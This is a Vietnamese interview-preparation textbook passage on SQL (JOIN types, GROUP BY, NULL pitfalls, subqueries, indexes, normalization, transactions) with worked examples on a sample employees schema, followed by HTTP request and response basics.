Câu hỏi (Hiểu sâu): TRUNCATE thuộc nhóm lệnh nào, và vì sao điều đó quan trọng?
TRUNCATE là DDL, không phải DML, nên nó hành xử như thao tác trên cấu trúc bảng chứ không phải xóa từng dòng. Hệ quả: MySQL tự commit ngầm trước và sau TRUNCATE nên không rollback được, không chạy trigger DELETE, và reset bộ đếm auto increment. PostgreSQL là ngoại lệ, TRUNCATE nằm trong transaction được. Vì vậy khi viết script dọn dữ liệu trên production, tôi dùng DELETE ... WHERE trong transaction nếu cần khả năng quay lại.
N2.2 SELECT, JOIN và GROUP BY
Câu cơ bản SELECT full_name, salary FROM employees WHERE department_id IS NOT NULL ORDER BY salary DESC LIMIT 2 trả An (2000), Bình (1500). So với NULL phải dùng IS NULL/IS NOT NULL: viết = NULL luôn ra rỗng vì mọi so sánh với NULL cho UNKNOWN. LIMIT chạy trên MySQL và PostgreSQL; cú pháp chuẩn FETCH FIRST 2 ROWS ONLY chỉ PostgreSQL hỗ trợ.
Câu SELECT được đọc theo từng mệnh đề: FROM chọn bảng, WHERE giữ những dòng thỏa điều kiện, SELECT chọn cột hiển thị, ORDER BY sắp xếp, LIMIT cắt lấy N dòng đầu. Cặp sai/đúng với NULL dưới đây là lỗi người mới gặp nhiều nhất:
	SELECT full_name FROM employees WHERE department_id = NULL;   -- wrong: always 0 rows
SELECT full_name FROM employees WHERE department_id IS NULL;  -- right: Dũng



Giải thích: câu đầu không báo lỗi gì, chỉ trả về rỗng, nên rất khó phát hiện. SQL dùng logic ba giá trị: TRUE, FALSE và UNKNOWN. NULL = NULL không phải TRUE mà là UNKNOWN (vì "không biết" so với "không biết" thì vẫn không biết), và WHERE chỉ giữ dòng có điều kiện TRUE. IS NULL là toán tử riêng trả TRUE/FALSE rõ ràng.
JOIN ghép dòng của hai bảng theo điều kiện ON. Hai câu dưới chỉ khác một từ khóa.
	SELECT e.full_name, d.name FROM employees e
INNER JOIN departments d ON e.department_id = d.id;   -- 3 rows, no Dũng
 
SELECT e.full_name, d.name FROM employees e
LEFT JOIN departments d ON e.department_id = d.id;    -- 4 rows, Dũng paired with NULL



Giải thích: INNER JOIN chỉ giữ dòng khớp ở cả hai bảng; LEFT JOIN giữ mọi dòng bảng trái, bên phải không khớp thì điền NULL. Kết quả mọi loại JOIN trên dữ liệu mẫu:
	Loại JOIN
	Kết quả (employees trái, departments phải)

	INNER
	An–IT, Bình–IT, Chi–HR

	LEFT
	3 dòng trên + Dũng–NULL

	RIGHT
	3 dòng INNER + NULL–Sales

	FULL OUTER
	3 dòng INNER + Dũng–NULL + NULL–Sales (MySQL không hỗ trợ)

	CROSS
	4 × 3 = 12 dòng, mọi cặp



Từng loại JOIN với bảng kết quả
Cách dễ hình dung JOIN: DB lấy từng dòng của bảng trái, đi tìm các dòng bên phải thỏa ON, và ghép chúng thành một dòng dài hơn. Các loại JOIN chỉ khác nhau ở chỗ làm gì với dòng không tìm được cặp. Các bảng dưới là kết quả thật khi chạy trên hai bảng mẫu (tôi đã chạy lại bằng SQLite 3.51, bản hỗ trợ cả RIGHT và FULL JOIN).
INNER JOIN: dòng nào không có cặp thì bỏ. Dũng (department_id NULL) và Sales (không ai trỏ tới) đều biến mất.
	full_name
	name

	An
	IT

	Bình
	IT

	Chi
	HR



LEFT JOIN (employees e LEFT JOIN departments d): giữ mọi dòng bảng trái. Dũng không có phòng nên cột d.name là NULL. Dùng khi câu hỏi là "liệt kê tất cả nhân viên, kèm phòng nếu có".
	full_name
	name

	An
	IT

	Bình
	IT

	Chi
	HR

	Dũng
	NULL



RIGHT JOIN: ngược lại, giữ mọi dòng bảng phải. Sales không có ai nên full_name là NULL. Trong thực tế người ta hầu như luôn đảo thứ tự bảng và viết LEFT JOIN cho dễ đọc.
	full_name
	name

	An
	IT

	Bình
	IT

	Chi
	HR

	NULL
	Sales



FULL OUTER JOIN: giữ mọi dòng của cả hai phía, gồm cả Dũng–NULL và NULL–Sales. MySQL không có cú pháp này; cách thay thế là LEFT JOIN ... UNION ... RIGHT JOIN.
	full_name
	name

	An
	IT

	Bình
	IT

	Chi
	HR

	Dũng
	NULL

	NULL
	Sales



CROSS JOIN: không có ON, ghép mọi dòng trái với mọi dòng phải: An–IT, An–HR, An–Sales, Bình–IT... tổng cộng 4 × 3 = 12 dòng. Hiếm khi dùng có chủ đích; nếu quên điều kiện ON trong cú pháp cũ FROM a, b thì bạn vô tình có CROSS JOIN, bảng 10 nghìn dòng ghép bảng 10 nghìn dòng ra 100 triệu dòng.
GROUP BY gom dòng cùng giá trị thành nhóm để tính COUNT, SUM, AVG, MIN, MAX.
GROUP BY: dữ liệu trước và sau khi gom nhóm
Hãy hình dung GROUP BY như chia bài vào các chồng theo một cột, rồi mỗi chồng chỉ còn lại một dòng tóm tắt. Trước khi gom, bảng employees sắp theo department_id:
	department_id
	full_name
	salary

	NULL
	Dũng
	1000

	1
	An
	2000

	1
	Bình
	1500

	2
	Chi
	1200



Chạy SELECT department_id, COUNT(*), SUM(salary), AVG(salary) FROM employees GROUP BY department_id thì bốn dòng thành ba nhóm. NULL cũng tạo thành một nhóm riêng:
	department_id
	COUNT(*)
	SUM(salary)
	AVG(salary)

	NULL
	1
	1000
	1000

	1
	2
	3500
	1750

	2
	1
	1200
	1200



Sau khi gom, cột full_name không còn ý nghĩa ở mức nhóm (nhóm 1 có cả An lẫn Bình, lấy tên nào?). Vì thế quy tắc là: cột trong SELECT phải nằm trong GROUP BY hoặc nằm trong hàm tổng hợp. Câu hỏi "Tìm lỗi" cuối mục có ví dụ vi phạm.
	SELECT d.name, COUNT(e.id) AS headcount, AVG(e.salary) AS avg_salary
FROM departments d
LEFT JOIN employees e ON e.department_id = d.id
WHERE d.budget >= 20000        -- filter ROWS before grouping
GROUP BY d.name
HAVING COUNT(e.id) >= 1;       -- filter GROUPS after grouping



Giải thích: kết quả là IT (2 người, trung bình 1750) và HR (1, 1200); Sales có 0 người nên bị HAVING loại. Phải dùng COUNT(e.id): với LEFT JOIN, Sales vẫn có một dòng mà cột của e đều NULL; COUNT(*) đếm dòng đó thành 1, còn COUNT(cột) bỏ qua NULL nên ra 0. Trên bảng employees: COUNT(*) ra 4, COUNT(department_id) ra 3, COUNT(DISTINCT department_id) ra 2.
Theo từng bước, câu trên chạy như sau: (1) FROM ... LEFT JOIN tạo 4 dòng An–IT, Bình–IT, Chi–HR, NULL–Sales; (2) WHERE d.budget >= 20000 giữ cả 4 vì ba phòng đều đạt; (3) GROUP BY d.name tạo ba nhóm IT, HR, Sales; (4) tính COUNT(e.id): IT 2, HR 1, Sales 0; (5) HAVING loại Sales; (6) SELECT in ra hai dòng.
Câu hỏi (Hiểu sâu): WHERE khác HAVING thế nào?
WHERE lọc từng dòng trước khi gom nhóm nên không dùng được hàm tổng hợp; HAVING lọc nhóm sau GROUP BY. Điều kiện không liên quan aggregate nên đặt ở WHERE để giảm dữ liệu sớm. Thứ tự thực thi logic đầy đủ ở Chương 6.
	BẪY THƯỜNG GẶP
Đặt điều kiện trên bảng bên phải của LEFT JOIN vào WHERE (ví dụ WHERE e.salary > 1000) sẽ loại các dòng NULL, biến LEFT JOIN thành INNER JOIN. Muốn giữ phòng không có ai, đặt điều kiện vào ON.



Câu hỏi (Cơ bản): Khi nào dùng INNER JOIN, khi nào dùng LEFT JOIN?
Nhìn vào câu hỏi nghiệp vụ: nếu cần "tất cả X, kèm Y nếu có" thì LEFT JOIN; nếu chỉ cần "những X có Y" thì INNER JOIN. "Danh sách mọi nhân viên kèm tên phòng" phải là LEFT JOIN, vì INNER JOIN làm mất Dũng, và báo cáo nhân sự thiếu người là bug thật. "Doanh thu theo phòng của những phòng có nhân viên" thì INNER JOIN là đủ. Một mẹo kiểm tra: đếm số dòng bảng chính trước và sau khi JOIN; bị hụt mà không cố ý tức là đã chọn sai loại.
Câu hỏi (Đọc code): Với hai bảng mẫu, câu dưới trả về gì?
	SELECT d.name, COUNT(*) AS cnt
FROM departments d
LEFT JOIN employees e ON e.department_id = d.id
GROUP BY d.name;



Dữ liệu: departments gồm IT (id 1), HR (id 2), Sales (id 3); employees gồm An (phòng 1), Bình (phòng 1), Chi (phòng 2), Dũng (NULL).
Đáp án:
Ba dòng: IT 2, HR 1, Sales 1 (thứ tự dòng tùy DB vì không có ORDER BY).
	name
	cnt

	HR
	1

	IT
	2

	Sales
	1



Sales không có ai nhưng vẫn ra 1, vì LEFT JOIN sinh cho Sales một dòng với các cột của e là NULL, và COUNT(*) đếm dòng chứ không đếm giá trị. Đổi thành COUNT(e.id) thì Sales ra 0 đúng như mong đợi. Dũng không xuất hiện vì bảng chính là departments.
Câu hỏi (Đọc code): Hai câu dưới khác nhau ở đâu, mỗi câu trả mấy dòng?
	-- Query A
SELECT d.name, e.full_name FROM departments d
LEFT JOIN employees e ON e.department_id = d.id AND e.salary > 1400;
 
-- Query B
SELECT d.name, e.full_name FROM departments d
LEFT JOIN employees e ON e.department_id = d.id
WHERE e.salary > 1400;



Đáp án:
A trả 4 dòng, B trả 2 dòng, dù chỉ dời điều kiện từ ON sang WHERE.
1. A: điều kiện nằm trong ON nên chỉ ảnh hưởng việc ghép cặp; phòng nào không tìm được người lương trên 1400 vẫn được giữ với NULL. Kết quả: IT–An, IT–Bình, HR–NULL, Sales–NULL.
1. B: LEFT JOIN tạo IT–An, IT–Bình, HR–Chi, Sales–NULL, rồi WHERE lọc tiếp. Chi có 1200 bị loại; Sales có e.salary NULL, NULL > 1400 là UNKNOWN nên cũng bị loại. Còn IT–An, IT–Bình: LEFT JOIN đã bị biến thành INNER JOIN.
Câu hỏi (Đọc code): Câu SQL dưới sai ở đâu?
	SELECT department_id, full_name, COUNT(*)
FROM employees
GROUP BY department_id;



Đáp án:
full_name không nằm trong GROUP BY và cũng không nằm trong hàm tổng hợp, nên nhóm phòng 1 có hai giá trị An và Bình mà DB không biết in giá trị nào. PostgreSQL báo column "employees.full_name" must appear in the GROUP BY clause or be used in an aggregate function; MySQL 5.7+ bật mặc định ONLY_FULL_GROUP_BY nên cũng báo lỗi. MySQL đời cũ tắt chế độ này thì trả một tên ngẫu nhiên, còn nguy hiểm hơn. Sửa tùy ý định: bỏ full_name, hoặc dùng MAX(full_name), hoặc STRING_AGG(full_name, ', ') (PostgreSQL) / GROUP_CONCAT(full_name) (MySQL) để liệt kê tên trong nhóm.
N2.3 Subquery, EXISTS và các bài SQL kinh điển
Subquery (truy vấn con) là một câu SELECT nằm bên trong câu SELECT khác, đặt trong ngoặc. DB chạy câu con để lấy một giá trị hoặc một danh sách, rồi dùng kết quả đó cho câu ngoài. Có hai loại cần phân biệt: subquery độc lập chạy một lần (ví dụ tính lương trung bình công ty), và subquery tương quan (correlated) tham chiếu cột của câu ngoài nên về mặt logic chạy lại cho từng dòng ngoài (ví dụ NOT EXISTS dưới đây dùng d.id).
Đoạn dưới gồm một subquery vô hướng và cái bẫy kinh điển của NOT IN.
	-- Salary above company average (AVG = 1425): An, Bình
SELECT full_name FROM employees
WHERE salary > (SELECT AVG(salary) FROM employees);
 
-- Departments with nobody: NOT IN returns EMPTY because the subquery contains Dũng's NULL
SELECT name FROM departments
WHERE id NOT IN (SELECT department_id FROM employees);
 
-- Correct version with NOT EXISTS: Sales
SELECT d.name FROM departments d
WHERE NOT EXISTS (SELECT 1 FROM employees e WHERE e.department_id = d.id);



Giải thích: 3 NOT IN (1, 1, 2, NULL) tương đương 3 <> 1 AND 3 <> 2 AND 3 <> NULL; vế cuối là UNKNOWN nên điều kiện không bao giờ TRUE. EXISTS chỉ hỏi "có ít nhất một dòng không" nên không bị NULL ảnh hưởng. Đây là ý chính khi bị hỏi EXISTS khác IN: IN so với danh sách giá trị, EXISTS kiểm tra sự tồn tại của dòng; hiệu năng trên MySQL 8, PostgreSQL thường ngang nhau vì optimizer chuyển cả hai về semi-join.
Nếu vẫn muốn dùng NOT IN, phải tự loại NULL khỏi danh sách con. Bản sửa dưới trả đúng Sales (đã chạy thử trên SQLite):
	SELECT name FROM departments
WHERE id NOT IN (SELECT department_id FROM employees
                 WHERE department_id IS NOT NULL);   -- remove NULL first



Giải thích: danh sách con giờ là (1, 1, 2), 3 NOT IN (1, 1, 2) là TRUE nên Sales được giữ. Cách này đúng nhưng dễ quên khi cột sau này được đổi thành cho phép NULL; NOT EXISTS an toàn hơn vì không phụ thuộc vào việc cột có NULL hay không.
Tìm bản ghi trùng gần như luôn có trong vòng Fresher. Giả sử cột full_name chưa có UNIQUE:
	SELECT full_name, COUNT(*) AS cnt
FROM employees
GROUP BY full_name
HAVING COUNT(*) > 1;          -- keep only groups appearing 2+ times



Giải thích: mỗi giá trị trùng trả về một dòng kèm số lần xuất hiện (dữ liệu mẫu chưa có trùng nên rỗng). Muốn lấy đủ các dòng bị trùng, đưa câu này vào WHERE full_name IN (...). Cách xóa trùng giữ một dòng bằng ROW_NUMBER() ở Chương 6.
	GHI CHÚ
Tài liệu cũ đếm trùng bằng COUNT(col) - COUNT(DISTINCT col). Con số đó chỉ là số dòng "thừa", không cho biết giá trị nào trùng. Người phỏng vấn muốn thấy GROUP BY ... HAVING.



Lương cao thứ hai: nên biết ít nhất hai cách.
	-- Option 1: works on every DB
SELECT MAX(salary) FROM employees
WHERE salary < (SELECT MAX(salary) FROM employees);            -- 1500
 
-- Option 2: window function (MySQL 8+, PostgreSQL), change 2 to N for the Nth
SELECT DISTINCT salary FROM (
    SELECT salary, DENSE_RANK() OVER (ORDER BY salary DESC) AS rnk
    FROM employees
) t WHERE rnk = 2;



Giải thích: cả hai ra 1500. DENSE_RANK xếp đồng hạng không nhảy số (2000, 2000, 1500 có hạng 1, 1, 2), nên đúng cả khi nhiều người cùng lương cao nhất. Cách thứ ba là SELECT DISTINCT salary ... ORDER BY salary DESC LIMIT 1 OFFSET 1; thiếu DISTINCT thì sai khi có lương trùng.
Để thấy vì sao DISTINCT quan trọng, giả sử thêm nhân viên Giang cũng lương 2000. Cột salary sắp giảm dần là 2000, 2000, 1500, 1200, 1000. Không có DISTINCT, LIMIT 1 OFFSET 1 bỏ dòng đầu và lấy dòng thứ hai là 2000, sai. Có DISTINCT, danh sách còn 2000, 1500, 1200, 1000 nên lấy được 1500, đúng.
View là câu SELECT được đặt tên, dùng như bảng ảo (CREATE VIEW v_emp AS SELECT ...); thường không lưu dữ liệu, mỗi lần đọc DB chạy lại câu gốc. Dùng để che JOIN phức tạp và chỉ cấp quyền trên cột cần thiết. UNION nối hai tập kết quả và khử trùng (tốn sắp xếp hoặc băm), UNION ALL giữ nguyên nên nhanh hơn.
Câu hỏi (Cơ bản): DELETE, TRUNCATE và DROP khác nhau thế nào?
DELETE là DML, xóa từng dòng, có WHERE, chạy trigger, rollback được. TRUNCATE là DDL, xóa toàn bộ dữ liệu rất nhanh, không WHERE, thường reset auto increment. DROP xóa cả bảng lẫn cấu trúc, index, constraint. Khác biệt giữa MySQL và PostgreSQL (TRUNCATE của PostgreSQL rollback được) ở Chương 6.
Câu hỏi (Đọc code): Câu dưới trả về những ai?
	SELECT full_name FROM employees WHERE department_id <> 1;



Dữ liệu: An (phòng 1), Bình (phòng 1), Chi (phòng 2), Dũng (department_id NULL).
Đáp án:
Chỉ Chi. Nhiều người trả lời "Chi và Dũng" vì nghĩ Dũng "không thuộc phòng 1". Nhưng NULL <> 1 cho UNKNOWN, WHERE chỉ giữ TRUE, nên Dũng bị loại. Muốn lấy cả người chưa có phòng: WHERE department_id <> 1 OR department_id IS NULL. PostgreSQL còn có IS DISTINCT FROM 1 coi NULL là một giá trị so sánh được.
Câu hỏi (Hiểu sâu): Vì sao NOT IN với subquery có NULL trả về rỗng, còn IN thì không bị ảnh hưởng?
Vì NOT IN là chuỗi AND của các phép <>, chỉ cần một vế UNKNOWN là cả chuỗi không thể TRUE; còn IN là chuỗi OR, một vế TRUE là đủ. 1 IN (1, NULL) là 1 = 1 OR 1 = NULL = TRUE OR UNKNOWN = TRUE. 3 NOT IN (1, NULL) là 3 <> 1 AND 3 <> NULL = TRUE AND UNKNOWN = UNKNOWN. Vì thế lỗi chỉ lộ ra ở NOT IN, và thường chỉ lộ ra trên production, khi lần đầu tiên có một dòng NULL chen vào cột đó.
Câu hỏi (Đọc code): Câu dưới dùng để làm gì, và trả về gì trên dữ liệu mẫu?
	SELECT e.full_name, e.salary
FROM employees e
WHERE e.salary = (SELECT MAX(x.salary) FROM employees x
                  WHERE x.department_id = e.department_id);



Đáp án:
Câu này tìm người lương cao nhất của từng phòng, dùng subquery tương quan; kết quả là An (2000) và Chi (1200). Với mỗi dòng ngoài e, subquery tính lương cao nhất của phòng mà e thuộc về: An so với MAX phòng 1 = 2000, khớp; Bình 1500 không khớp; Chi so với MAX phòng 2 = 1200, khớp. Dũng bị loại vì x.department_id = NULL không khớp dòng nào, subquery trả NULL, 1000 = NULL là UNKNOWN. Nếu hai người cùng lương cao nhất phòng thì cả hai cùng xuất hiện. Cách viết hiện đại hơn là window function RANK() OVER (PARTITION BY department_id ORDER BY salary DESC) (Chương 6).
Câu hỏi (Cơ bản): UNION khác UNION ALL thế nào, nên mặc định dùng cái nào?
UNION khử dòng trùng nên phải sắp xếp hoặc băm toàn bộ kết quả; UNION ALL giữ nguyên nên nhanh hơn. Ví dụ SELECT 'IT' UNION SELECT 'IT' ra 1 dòng, còn UNION ALL ra 2 dòng. Tôi mặc định dùng UNION ALL, chỉ dùng UNION khi thật sự cần khử trùng và hiểu cái giá phải trả. Cả hai đều yêu cầu hai vế có cùng số cột và kiểu tương thích; tên cột lấy theo vế đầu.
N2.4 Index, chuẩn hóa và transaction
Index giống mục lục sách: thay vì quét toàn bảng, DB tra cây B+Tree để nhảy thẳng tới dòng cần tìm, ví dụ CREATE INDEX idx_emp_dept ON employees (department_id). Primary key và unique tự có index; MySQL InnoDB tự index cột foreign key, PostgreSQL thì không. Nên index cột hay nằm trong WHERE, JOIN, ORDER BY trên bảng lớn; không index tràn lan vì mỗi lần ghi phải cập nhật mọi index. Composite index, EXPLAIN ở Chương 6.
Index qua ví dụ mục lục sách
Hãy tưởng tượng một cuốn sách 800 trang và bạn cần tìm trang nói về "HashMap". Không có mục lục, bạn phải lật từng trang từ đầu tới cuối: đó là full table scan. Có mục lục sắp theo vần, bạn tra chữ H, thấy "HashMap: trang 312", lật thẳng tới đó: đó là index lookup. Ba điểm của phép so sánh này ứng đúng với index trong DB:
1. Mục lục là một cấu trúc riêng, nằm ngoài nội dung sách, và chiếm thêm giấy. Index cũng chiếm thêm dung lượng đĩa.
1. Mục lục được sắp xếp nên tra nhanh. Index B+Tree cũng giữ các giá trị theo thứ tự, nên tìm một giá trị trong một triệu dòng chỉ mất vài bước nhảy qua các tầng của cây thay vì một triệu phép so sánh.
1. Sửa nội dung sách thì phải sửa cả mục lục. Mỗi INSERT, UPDATE, DELETE cũng phải cập nhật mọi index liên quan, nên bảng có quá nhiều index sẽ ghi chậm.
Bạn có thể tự thấy khác biệt bằng lệnh xem kế hoạch thực thi. Đoạn dưới chạy trên SQLite (MySQL, PostgreSQL dùng EXPLAIN, output khác định dạng nhưng cùng ý):
	EXPLAIN QUERY PLAN SELECT * FROM employees WHERE department_id = 1;
-- output: SCAN employees                   (reads every row)
 
CREATE INDEX idx_emp_dept ON employees (department_id);
 
EXPLAIN QUERY PLAN SELECT * FROM employees WHERE department_id = 1;
-- output: SEARCH employees USING INDEX idx_emp_dept (department_id=?)



Giải thích: trước khi có index, DB chỉ còn cách SCAN (đọc hết bảng). Sau khi tạo index, kế hoạch đổi thành SEARCH ... USING INDEX: tra cây để lấy đúng các dòng phòng 1. Với bốn dòng thì không thấy khác biệt thời gian, nhưng với vài triệu dòng đây là khác biệt giữa vài mili giây và vài giây. Index giúp khi điều kiện lọc được ít dòng; cột chỉ có hai giá trị như gender thường không đáng index vì đằng nào cũng phải đọc nửa bảng.
Chuẩn hóa tách bảng để mỗi thông tin chỉ lưu một chỗ. Bảng dưới gộp mọi thứ vào một nơi:
	employee_id | project_id | employee_name | phones     | dept_id | dept_name
1           | 10         | An            | 0901, 0902 | 1       | IT
1           | 11         | An            | 0901, 0902 | 1       | IT



Giải thích: bảng vi phạm cả ba dạng chuẩn:
1. 1NF (giá trị nguyên tố): ô phones chứa nhiều số. Sửa: tách bảng employee_phones.
1. 2NF (không phụ thuộc một phần khóa): khóa là (employee_id, project_id) nhưng employee_name chỉ phụ thuộc employee_id, nên tên lặp ở mọi dự án. Sửa: đưa tên về bảng employees.
1. 3NF (không phụ thuộc bắc cầu): dept_name phụ thuộc dept_id chứ không phụ thuộc nhân viên. Sửa: tách departments, chính là schema ở N2.1.
Vì sao dữ liệu lặp lại là vấn đề, chứ không chỉ tốn chỗ? Vì nó sinh ra bất thường khi cập nhật. Đổi tên phòng IT thành "Công nghệ" trên bảng gộp phải sửa mọi dòng có dept_id = 1; sót một dòng là DB chứa hai tên khác nhau cho cùng một phòng, và không ai biết tên nào đúng. Sau khi chuẩn hóa, tên phòng chỉ nằm một chỗ trong departments, sửa một dòng là xong. Trade-off: càng chuẩn hóa càng nhiều JOIN khi đọc; báo cáo nặng đôi khi cố ý phi chuẩn hóa (denormalize) để đọc nhanh.
Transaction gom nhiều lệnh thành một đơn vị: tất cả thành công hoặc không lệnh nào có hiệu lực.
	START TRANSACTION;       -- PostgreSQL uses BEGIN; MySQL accepts both
UPDATE employees   SET salary = salary + 500 WHERE id = 2;
UPDATE departments SET budget = budget - 500 WHERE id = 1;
COMMIT;                  -- if one statement fails: ROLLBACK undoes both



Giải thích: nếu lệnh thứ hai lỗi (ví dụ vi phạm CHECK (budget >= 0)) và ứng dụng gọi ROLLBACK, lương của Bình cũng trở về như cũ; không có transaction, lương đã tăng mà ngân sách chưa trừ. Trong Spring, @Transactional làm việc này. ACID mỗi chữ một câu:
1. Atomicity: tất cả hoặc không gì cả.
1. Consistency: trước và sau transaction, dữ liệu luôn thỏa mọi ràng buộc.
1. Isolation: transaction đồng thời không thấy trạng thái dở dang của nhau, mức độ do isolation level quyết định (Chương 6).
1. Durability: đã commit thì không mất, kể cả khi sập nguồn ngay sau đó.
Kịch bản chuyển tiền từng bước
Ví dụ kinh điển nhất để hiểu transaction là chuyển khoản. Bảng accounts có An 1000 và Bình 500, ràng buộc CHECK (balance >= 0). An chuyển 300 cho Bình, cần hai lệnh: trừ tiền An và cộng tiền Bình. Trước hết là bản sai: chạy hai lệnh ở chế độ autocommit, tức mỗi lệnh tự commit ngay khi chạy xong (đây là mặc định của MySQL, PostgreSQL và JDBC).
	-- Wrong: autocommit, each statement is committed on its own
UPDATE accounts SET balance = balance - 300 WHERE id = 1;  -- committed: An = 700
-- server crashes / app throws here
UPDATE accounts SET balance = balance + 300 WHERE id = 2;  -- never runs: Bình still 500



Giải thích: lệnh đầu đã commit nên An mất 300, lệnh sau không bao giờ chạy nên Bình không nhận được gì. Tổng tiền trong hệ thống từ 1500 thành 1200: 300 "bốc hơi". Không có lỗi nào được báo cho người dùng biết tiền đi đâu. Bản đúng bọc cả hai lệnh vào một transaction:
	BEGIN;
UPDATE accounts SET balance = balance - 300 WHERE id = 1;  -- An = 700, visible only in this tx
UPDATE accounts SET balance = balance + 300 WHERE id = 2;  -- Bình = 800
COMMIT;                                                    -- both changes become permanent together



Giải thích: diễn biến từng bước như sau.
1. BEGIN mở transaction. Từ đây mọi thay đổi là "bản nháp" của riêng transaction này.
1. Lệnh trừ tiền chạy: trong transaction An còn 700, nhưng transaction khác vẫn thấy An 1000 (Isolation).
1. Lệnh cộng tiền chạy: Bình 800.
1. COMMIT: cả hai thay đổi cùng lúc trở thành chính thức và được ghi bền xuống đĩa (Durability). Tổng tiền vẫn là 1500 (Consistency).
1. Nếu sập giữa bước 2 và 4, khi DB khởi động lại transaction chưa commit sẽ bị hủy, An vẫn 1000, Bình vẫn 500 (Atomicity).
Tôi đã chạy thử trên SQLite một lần chuyển 900 từ An (lúc đó còn 700) với lệnh cộng tiền Bình chạy trước: lệnh trừ tiền An vi phạm CHECK (balance >= 0), transaction không được commit, và số dư của cả hai giữ nguyên 700 và 800. Lưu ý: khi một lệnh lỗi, DB không tự rollback cả transaction trong mọi trường hợp (MySQL chỉ hủy câu lệnh lỗi); ứng dụng phải gọi ROLLBACK, và đó chính là việc @Transactional của Spring làm khi method ném exception.
Câu hỏi (Cơ bản): Index là gì? Vì sao không đánh index cho mọi cột cho nhanh?
Index là cấu trúc dữ liệu phụ, thường là B+Tree, giúp DB tìm dòng theo giá trị cột mà không phải quét cả bảng, giống mục lục sách. Không index mọi cột vì: mỗi index tốn dung lượng; mỗi lần ghi phải cập nhật mọi index nên INSERT/UPDATE chậm đi; và optimizer có thể bỏ qua index trên cột ít giá trị khác nhau. Nguyên tắc: index cột xuất hiện trong WHERE, JOIN, ORDER BY của những câu chạy thường xuyên trên bảng lớn, rồi kiểm chứng bằng EXPLAIN.
Câu hỏi (Thực chiến): API danh sách nhân viên theo phòng chạy nhanh trên máy dev nhưng mất 4 giây trên production. Bạn điều tra thế nào?
Tôi lấy câu SQL thật đang chạy, chạy EXPLAIN trên production (hoặc bản sao dữ liệu) và xem nó có quét toàn bảng không. Máy dev có vài trăm dòng nên full scan vẫn nhanh; production có vài triệu dòng mới lộ. Các bước:
1. Bật log SQL hoặc xem slow query log để lấy câu thật, ví dụ SELECT ... FROM employees WHERE department_id = ?.
1. EXPLAIN: thấy full scan (MySQL type: ALL, PostgreSQL Seq Scan) trên cột department_id tức là thiếu index. Trên PostgreSQL, cột foreign key không tự có index nên rất hay gặp.
1. Tạo index, chạy lại EXPLAIN để xác nhận đã dùng index, đo lại thời gian.
1. Kiểm tra thêm N+1 query ở tầng JPA (N2.11) vì một API chậm đôi khi là 500 câu nhỏ chứ không phải một câu lớn.
Câu hỏi (Đọc code): Đoạn chuyển tiền dưới dùng JDBC có vấn đề gì?
	import java.sql.Connection;
import java.sql.SQLException;
import java.sql.Statement;
 
class TransferDao {
    void transfer(Connection conn) throws SQLException {
        try (Statement st = conn.createStatement()) {
            st.executeUpdate("UPDATE accounts SET balance = balance - 300 WHERE id = 1");
            st.executeUpdate("UPDATE accounts SET balance = balance + 300 WHERE id = 2");
        }
    }
}



Đáp án:
JDBC mặc định bật autocommit, nên hai câu UPDATE là hai transaction riêng; câu hai lỗi thì câu một đã commit và tiền bị mất. Sửa bằng cách gọi conn.setAutoCommit(false) trước, conn.commit() sau khi cả hai chạy xong, và conn.rollback() trong catch. Trong Spring bạn không viết tay các lệnh này mà đặt @Transactional lên method service; Spring mở transaction, commit khi method kết thúc bình thường và rollback khi method ném RuntimeException.
Câu hỏi (Hiểu sâu): Bảng orders(order_id, product_id, customer_name, customer_phone) vi phạm dạng chuẩn nào?
Vi phạm 3NF: customer_phone phụ thuộc vào customer_name (thực chất là khách hàng), không phụ thuộc trực tiếp vào đơn hàng. Cùng một khách đặt 50 đơn thì số điện thoại lặp 50 lần; đổi số phải sửa 50 dòng. Sửa: tạo bảng customers(id, name, phone), orders chỉ giữ customer_id làm foreign key. Nếu khóa chính của orders là (order_id, product_id) thì customer_name chỉ phụ thuộc order_id, tức là vi phạm cả 2NF; khi đó cần tách thêm bảng order_items.
Câu hỏi (Hiểu sâu): Chữ "C" trong ACID liên quan gì tới các ràng buộc ở N2.1?
Consistency nghĩa là transaction đưa DB từ một trạng thái hợp lệ sang một trạng thái hợp lệ khác, và "hợp lệ" được định nghĩa một phần bởi các ràng buộc PRIMARY KEY, FOREIGN KEY, UNIQUE, CHECK. Khi một lệnh trong transaction vi phạm ràng buộc (ví dụ CHECK (balance >= 0) ở kịch bản chuyển tiền), DB từ chối lệnh đó, ứng dụng rollback, và DB không bao giờ lưu trạng thái vi phạm luật. Phần còn lại của Consistency là luật nghiệp vụ (tổng tiền không đổi sau chuyển khoản) mà DB không tự biết, ứng dụng phải đảm bảo bằng cách gom đúng các lệnh vào cùng transaction.
N2.5 Web cơ bản: HTTP, cookie, session
HTTP là giao thức hỏi–đáp: client gửi request, server trả response. Dưới đây là một cặp request/response khi tạo nhân viên qua REST API.
	POST /api/employees HTTP/1.1
Host: hr.corp.vn
Content-Type: application/json
 
{"fullName": "Em", "email": "em@corp.vn", "salary": 1300}
 
HTTP/1.1 201 Created
Location: /api/employees/5
Content-Type: application/json
 
{"id": 5, "fullName": "Em", ...}



Giải thích: request gồm dòng đầu (method, đường dẫn, phiên bản), các header (metadata như kiểu nội dung, token), một dòng trống, rồi body. Response gồm status line, header và body; Location chỉ địa chỉ tài nguyên vừa tạo.
Thêm một ví dụ đọc dữ liệu, lần này là request GET tới một nhân viên không tồn tại. Đây chính là thứ bạn thấy khi mở tab Network của trình duyệt hoặc chạy curl -v:
	GET /api/employees/99 HTTP/1.1
Host: hr.corp.vn
Accept: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
 
HTTP/1.1 404 Not Found
Content-Type: application/json
Content-Length: 34
 
{"error": "Employee 99 not found"}



Giải thích: GET không có body; tham số nằm trên đường dẫn (/99) hoặc query string (?page=0). Header Accept nói client muốn nhận JSON, Authorization mang token đăng nhập. Server trả status 404 kèm body giải thích lỗi. Điểm cần nhớ: status code là thứ máy đọc để quyết định (retry, báo lỗi, chuyển trang), còn body là thứ người đọc; trả 200 kèm {"error": ...} là thiết kế sai vì client tưởng đã thành công.
	Nhóm
	Ý nghĩa
	Ví dụ

	1xx
	Thông tin
	101 Switching Protocols

	2xx
	Thành công
	200 OK, 201 Created, 204 No Content

	3xx
	Chuyển hướng
	301, 302, 304 Not Modified

	4xx
	Lỗi phía client
	400, 401, 403, 404, 409

	5xx
	Lỗi phía server
	500, 502, 503



